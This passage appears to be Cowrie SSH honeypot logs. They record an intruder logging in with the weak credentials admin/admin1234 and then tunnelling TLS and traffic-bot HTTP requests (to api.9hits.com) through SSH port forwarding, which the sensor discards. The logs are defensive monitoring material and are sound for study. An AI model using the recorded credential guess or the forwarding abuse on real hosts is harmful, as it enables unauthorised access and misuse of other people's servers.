{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4?\\xf85j_\\x17\\x98\\x80\\x9e]\\xa9T\\xbc\\xce\\xe4v\\xd9%\\xafIC\\x97\\xcc\\xf2\\x89x\\x80\\xab\\x13\\xfb\\x14 e\\x834XZ\\xbb\\xf9\\'`\\x81u\\x1b\\xdfW\\x9bq\\xb30\\x18\\xc8aN\\x15\\xdc\\tx\\xdb\\x80\\x07\\x92\\x15T\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\xb7x\\x1eE\\x8b\\xf2k\\x84!\\xaa8\\xcd8Y\\x90\\x8e\\xf5\\x0e\\x0em\\xe3\\x98,\\xf0\\x93\\xcd\\xa5\\xbaI\\xa5m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4?\\xf85j_\\x17\\x98\\x80\\x9e]\\xa9T\\xbc\\xce\\xe4v\\xd9%\\xafIC\\x97\\xcc\\xf2\\x89x\\x80\\xab\\x13\\xfb\\x14 e\\x834XZ\\xbb\\xf9\\'`\\x81u\\x1b\\xdfW\\x9bq\\xb30\\x18\\xc8aN\\x15\\xdc\\tx\\xdb\\x80\\x07\\x92\\x15T\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\xb7x\\x1eE\\x8b\\xf2k\\x84!\\xaa8\\xcd8Y\\x90\\x8e\\xf5\\x0e\\x0em\\xe3\\x98,\\xf0\\x93\\xcd\\xa5\\xbaI\\xa5m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:50.434194Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:50.851765Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64579,"dst_ip":"10.17.0.5","dst_port":22,"session":"e205bd0f8237","protocol":"ssh","message":"New connection: 123.27.168.40:64579 (10.17.0.5:22) [session: e205bd0f8237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:01.734779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:01.743400Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:01.974353Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:03.264009Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:03.991861Z","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.018240Z","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.500757Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aWJaQm5LWVNzSit%2BRU01UQ%3D%3Dr659Yn%2BDktZ6xMFfiAhmS52UZgi4EZjmz3ORC96pUKxiQzw6s4Tc%2Bm%2BVfS7X%2FOSVKL3GDMFPzbmWsQXCkKLS9mlzyinlAfsGsW6hJWSJV7R0fCrI3WEJiBIby8c4eerceGJdGKO1D5ZQsEgFRr%2BErxmarRGy66zOupi6IjR5rk5WEp9lTPMgQegffOWGb7nkWljd2rdLKQPLUQb4KnCYXXDkvvw68ATxOfqfGMSD5oQ8ADmRqacB4fswLcuLwhSwL8N0GEPhFcWdd9fy1nZ5GKhqthKZ0fnE%2BVdhfsbasiynluSp4vT5uqdSyrqmsMEwgP%2B0jqWxBM7Dzqtm4YY5dVmVX%2BljZAbpn6vcy5QKpIG3SoHRRB0NUKU7a1vFXbcZz%2FJPDCNE90rVZqAqtHU9Fqt%2BvtL%2FyIru05csCWibpOf9543np0KllDVGGwj%2F8JLJdVBTrKcPLZ2QF3oRvGHeDkK2Z%2FA%2F%2FgrU0te6YcCbLT157F2VxKUDZ1b6oma1WlgCAmo1blY6pw9UhWBCIrEXWCXHk6TRtRQny0fOLmkhlv%2BZxZLX7ArIf7SA1qqoPYEyTLXFy5zArXHIKd%2BivCkmp%2BBfZT7YpnBHpxuk7eUiCQ6SNgQoAcx9V0OhI937X3msbHXN4Wx9RB0tOu9y7qe6wTAGEGzEgCrD5BYmLdIBQjUL3czysUffMjFRw4MKJ%2BSiIhGHzBwpdsMPuVa1tpqI%2Ba9i5%2B5b4MpeNu3cb7EsIMum5EQXF6N8UkgOPuu%2F%2FzF9Hna18x7K%2Bcf8BuRwK6lANkduq5IpzOp7%2BNj86Q6sFiLaMBaskhienuzkGn3LyHrEoq5azuod5pghGsnxFOdxEztlMSVd6JFDvBvFN8O0Sb6LksxFknWBp9Dd8n9sx6g0Fu0lyhHJpoHAsYAKXyrItw7WbLAWdX%2BhVlXNxGxpJEeER4J1dUDuK0tstygSGr2kQ2XvHxRwVbE2FihmqvgswnUHEJwmaEJM3%2FVdBt018eb8Q45y3k7UGhSJAQLiA3NB5jEAqqvABCkSuKSpQgTyjvIkaa%2FFpppLcpUm7mPSCpA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aWJaQm5LWVNzSit%2BRU01UQ%3D%3Dr659Yn%2BDktZ6xMFfiAhmS52UZgi4EZjmz3ORC96pUKxiQzw6s4Tc%2Bm%2BVfS7X%2FOSVKL3GDMFPzbmWsQXCkKLS9mlzyinlAfsGsW6hJWSJV7R0fCrI3WEJiBIby8c4eerceGJdGKO1D5ZQsEgFRr%2BErxmarRGy66zOupi6IjR5rk5WEp9lTPMgQegffOWGb7nkWljd2rdLKQPLUQb4KnCYXXDkvvw68ATxOfqfGMSD5oQ8ADmRqacB4fswLcuLwhSwL8N0GEPhFcWdd9fy1nZ5GKhqthKZ0fnE%2BVdhfsbasiynluSp4vT5uqdSyrqmsMEwgP%2B0jqWxBM7Dzqtm4YY5dVmVX%2BljZAbpn6vcy5QKpIG3SoHRRB0NUKU7a1vFXbcZz%2FJPDCNE90rVZqAqtHU9Fqt%2BvtL%2FyIru05csCWibpOf9543np0KllDVGGwj%2F8JLJdVBTrKcPLZ2QF3oRvGHeDkK2Z%2FA%2F%2FgrU0te6YcCbLT157F2VxKUDZ1b6oma1WlgCAmo1blY6pw9UhWBCIrEXWCXHk6TRtRQny0fOLmkhlv%2BZxZLX7ArIf7SA1qqoPYEyTLXFy5zArXHIKd%2BivCkmp%2BBfZT7YpnBHpxuk7eUiCQ6SNgQoAcx9V0OhI937X3msbHXN4Wx9RB0tOu9y7qe6wTAGEGzEgCrD5BYmLdIBQjUL3czysUffMjFRw4MKJ%2BSiIhGHzBwpdsMPuVa1tpqI%2Ba9i5%2B5b4MpeNu3cb7EsIMum5EQXF6N8UkgOPuu%2F%2FzF9Hna18x7K%2Bcf8BuRwK6lANkduq5IpzOp7%2BNj86Q6sFiLaMBaskhienuzkGn3LyHrEoq5azuod5pghGsnxFOdxEztlMSVd6JFDvBvFN8O0Sb6LksxFknWBp9Dd8n9sx6g0Fu0lyhHJpoHAsYAKXyrItw7WbLAWdX%2BhVlXNxGxpJEeER4J1dUDuK0tstygSGr2kQ2XvHxRwVbE2FihmqvgswnUHEJwmaEJM3%2FVdBt018eb8Q45y3k7UGhSJAQLiA3NB5jEAqqvABCkSuKSpQgTyjvIkaa%2FFpppLcpUm7mPSCpA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.503882Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.507517Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\te\\x91\\x1e#xt!*\\xf4\\xac\\xe6e\\xc3c\\xb2\\xe1i\\xbe\\x99\\x9b\\x08P\\x04\\xd2\\xd9j\\xe9\\xa3\\x1d2 ;v\\xcd\\x9dcn\\x14\\x1bg\\x98\\xc6\\x8aqh\\xb5f\\xb7b'wA\\xa1\\x91\\xf7\\xef'\\xd7t\\xa4x*\\xa8\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 !7n3\\xb1\\xe1\\x04\\x06\\xdb}\\xc3\\x0e\\xf8\\xc5\\xd8f\\xaf\\xa9[j\\x9c\\x0bk1\\xf6Xy\\x97\\x07\\xa6\\xd7d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\te\\x91\\x1e#xt!*\\xf4\\xac\\xe6e\\xc3c\\xb2\\xe1i\\xbe\\x99\\x9b\\x08P\\x04\\xd2\\xd9j\\xe9\\xa3\\x1d2 ;v\\xcd\\x9dcn\\x14\\x1bg\\x98\\xc6\\x8aqh\\xb5f\\xb7b'wA\\xa1\\x91\\xf7\\xef'\\xd7t\\xa4x*\\xa8\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 !7n3\\xb1\\xe1\\x04\\x06\\xdb}\\xc3\\x0e\\xf8\\xc5\\xd8f\\xaf\\xa9[j\\x9c\\x0bk1\\xf6Xy\\x97\\x07\\xa6\\xd7d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.510061Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.765896Z","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:04.994599Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8ca5\\x97~L\\xffU\\x02\\xef\\xe0\\xd5\\xc6\\xc3t\\xa0\\xb7\\xb1\\x9d\\x87 u#\\xd9E\\xaf\\np\\xa4\\xd2\\xfc\\xcc \\r\\xe9>\\xad\\xa6\\xe1\\x0c{\\x8d,V\\xf2\\xa8\\xe1V\\xeaUT\\x98\\x91\\xbfgh\\xa9\\x81\\xc7\\x96\\x05i\\rZ\\xf9\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 